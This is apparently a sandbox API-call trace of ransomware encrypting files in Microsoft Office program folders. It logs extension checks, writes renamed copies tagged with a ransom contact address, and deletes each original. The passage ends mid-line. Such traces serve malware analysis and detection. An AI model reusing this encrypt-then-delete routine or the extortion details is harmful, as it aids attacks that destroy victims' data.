[0264.121] lstrlenW (lpString=".7z") returned 3 [0264.121] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString=".dbf") returned 4 [0264.121] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString=".1cd") returned 4 [0264.121] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString=".jpg") returned 4 [0264.121] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.121] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.121] lstrlenW (lpString="TASKS.ICO") returned 9 [0264.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.122] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0264.122] CloseHandle (hObject=0x1f8) returned 1 [0264.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico")) returned 0x20 [0264.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.122] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.122] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.123] GetLastError () returned 0x0 [0264.123] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0264.134] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0264.134] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.135] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0264.135] SetEndOfFile (hFile=0x3c4) returned 1 [0264.135] CloseHandle (hObject=0x3c4) returned 1 [0264.135] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.135] SetEndOfFile (hFile=0x1f8) returned 1 [0264.137] CloseHandle (hObject=0x1f8) returned 1 [0264.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico")) returned 1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".doc") returned 4 [0264.138] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.138] lstrlenW (lpString=".docx") returned 5 [0264.138] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.138] lstrlenW (lpString=".pdf") returned 4 [0264.138] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString=".xls") returned 4 [0264.138] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString=".xlsx") returned 5 [0264.138] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.138] lstrlenW (lpString=".ppt") returned 4 [0264.138] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".zip") returned 4 [0264.138] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString=".rar") returned 4 [0264.138] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString=".bz2") returned 4 [0264.138] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.138] lstrlenW (lpString=".7z") returned 3 [0264.138] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".dbf") returned 4 [0264.138] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".1cd") returned 4 [0264.138] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".jpg") returned 4 [0264.138] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.138] lstrlenW (lpString=".doc") returned 4 [0264.139] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.139] lstrlenW (lpString=".docx") returned 5 [0264.139] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.139] lstrlenW (lpString=".pdf") returned 4 [0264.139] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.139] lstrlenW (lpString=".xls") returned 4 [0264.139] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.139] lstrlenW (lpString=".xlsx") returned 5 [0264.139] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.139] lstrlenW (lpString=".ppt") returned 4 [0264.139] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.139] lstrlenW (lpString=".zip") returned 4 [0264.139] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.139] lstrlenW (lpString=".rar") returned 4 [0264.139] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.139] lstrlenW (lpString=".bz2") returned 4 [0264.139] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.139] lstrlenW (lpString=".7z") returned 3 [0264.139] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.139] lstrlenW (lpString=".dbf") returned 4 [0264.139] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.139] lstrlenW (lpString=".1cd") returned 4 [0264.139] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO") returned 63 [0264.139] lstrlenW (lpString=".jpg") returned 4 [0264.139] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.139] lstrcmpiW (lpString1=".LNG", lpString2=".Q1G") returned -1 [0264.139] lstrlenW (lpString="FRENCH.LNG") returned 10 [0264.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.140] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=559411) returned 1 [0264.140] CloseHandle (hObject=0x1f8) returned 1 [0264.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng")) returned 0x20 [0264.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.140] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.141] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.141] GetLastError () returned 0x0 [0264.141] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x88933, lpOverlapped=0x0) returned 1 [0264.169] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x88940, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x88940, lpOverlapped=0x0) returned 1 [0264.383] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.383] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0264.383] SetEndOfFile (hFile=0x3c4) returned 1 [0264.383] CloseHandle (hObject=0x3c4) returned 1 [0264.383] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.383] SetEndOfFile (hFile=0x1f8) returned 1 [0264.396] CloseHandle (hObject=0x1f8) returned 1 [0264.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng")) returned 1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".doc") returned 4 [0264.426] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0264.426] lstrlenW (lpString=".docx") returned 5 [0264.426] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0264.426] lstrlenW (lpString=".pdf") returned 4 [0264.426] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0264.426] lstrlenW (lpString=".xls") returned 4 [0264.426] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0264.426] lstrlenW (lpString=".xlsx") returned 5 [0264.426] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0264.426] lstrlenW (lpString=".ppt") returned 4 [0264.426] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".zip") returned 4 [0264.426] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0264.426] lstrlenW (lpString=".rar") returned 4 [0264.426] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0264.426] lstrlenW (lpString=".bz2") returned 4 [0264.426] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0264.426] lstrlenW (lpString=".7z") returned 3 [0264.426] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".dbf") returned 4 [0264.426] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".1cd") returned 4 [0264.426] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".jpg") returned 4 [0264.426] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.426] lstrlenW (lpString=".doc") returned 4 [0264.427] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0264.427] lstrlenW (lpString=".docx") returned 5 [0264.427] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0264.427] lstrlenW (lpString=".pdf") returned 4 [0264.427] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0264.427] lstrlenW (lpString=".xls") returned 4 [0264.427] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0264.427] lstrlenW (lpString=".xlsx") returned 5 [0264.427] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0264.427] lstrlenW (lpString=".ppt") returned 4 [0264.427] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0264.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.427] lstrlenW (lpString=".zip") returned 4 [0264.427] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0264.427] lstrlenW (lpString=".rar") returned 4 [0264.427] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0264.427] lstrlenW (lpString=".bz2") returned 4 [0264.427] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0264.427] lstrlenW (lpString=".7z") returned 3 [0264.427] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0264.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.427] lstrlenW (lpString=".dbf") returned 4 [0264.427] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0264.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.427] lstrlenW (lpString=".1cd") returned 4 [0264.427] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0264.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned 53 [0264.427] lstrlenW (lpString=".jpg") returned 4 [0264.427] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0264.427] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.427] lstrlenW (lpString="GRAPH.ICO") returned 9 [0264.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.430] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=766) returned 1 [0264.430] CloseHandle (hObject=0x390) returned 1 [0264.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico")) returned 0x20 [0264.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.462] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.462] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.463] GetLastError () returned 0x0 [0264.463] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2fe, lpOverlapped=0x0) returned 1 [0264.477] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x300, lpOverlapped=0x0) returned 1 [0264.478] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.478] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0264.478] SetEndOfFile (hFile=0x3a0) returned 1 [0264.478] CloseHandle (hObject=0x3a0) returned 1 [0264.478] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.478] SetEndOfFile (hFile=0x3c4) returned 1 [0264.609] CloseHandle (hObject=0x3c4) returned 1 [0264.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico")) returned 1 [0264.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.614] lstrlenW (lpString=".doc") returned 4 [0264.614] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.615] lstrlenW (lpString=".docx") returned 5 [0264.615] lstrcmpiW (lpString1=".docx", lpString2="H.ICO") returned -1 [0264.615] lstrlenW (lpString=".pdf") returned 4 [0264.615] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString=".xls") returned 4 [0264.615] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString=".xlsx") returned 5 [0264.615] lstrcmpiW (lpString1=".xlsx", lpString2="H.ICO") returned -1 [0264.615] lstrlenW (lpString=".ppt") returned 4 [0264.615] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString=".zip") returned 4 [0264.615] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString=".rar") returned 4 [0264.615] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString=".bz2") returned 4 [0264.615] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.615] lstrlenW (lpString=".7z") returned 3 [0264.615] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString=".dbf") returned 4 [0264.615] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString=".1cd") returned 4 [0264.615] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString=".jpg") returned 4 [0264.615] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.615] lstrlenW (lpString=".doc") returned 4 [0264.615] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.615] lstrlenW (lpString=".docx") returned 5 [0264.615] lstrcmpiW (lpString1=".docx", lpString2="H.ICO") returned -1 [0264.616] lstrlenW (lpString=".pdf") returned 4 [0264.616] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.616] lstrlenW (lpString=".xls") returned 4 [0264.616] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.616] lstrlenW (lpString=".xlsx") returned 5 [0264.616] lstrcmpiW (lpString1=".xlsx", lpString2="H.ICO") returned -1 [0264.616] lstrlenW (lpString=".ppt") returned 4 [0264.616] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.616] lstrlenW (lpString=".zip") returned 4 [0264.616] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.616] lstrlenW (lpString=".rar") returned 4 [0264.616] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.616] lstrlenW (lpString=".bz2") returned 4 [0264.616] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.616] lstrlenW (lpString=".7z") returned 3 [0264.616] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.616] lstrlenW (lpString=".dbf") returned 4 [0264.616] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.616] lstrlenW (lpString=".1cd") returned 4 [0264.616] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO") returned 52 [0264.616] lstrlenW (lpString=".jpg") returned 4 [0264.616] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.616] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.616] lstrlenW (lpString="Hiring Requisition - Customized.fdt") returned 35 [0264.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.617] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=147537) returned 1 [0264.617] CloseHandle (hObject=0x3d8) returned 1 [0264.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring 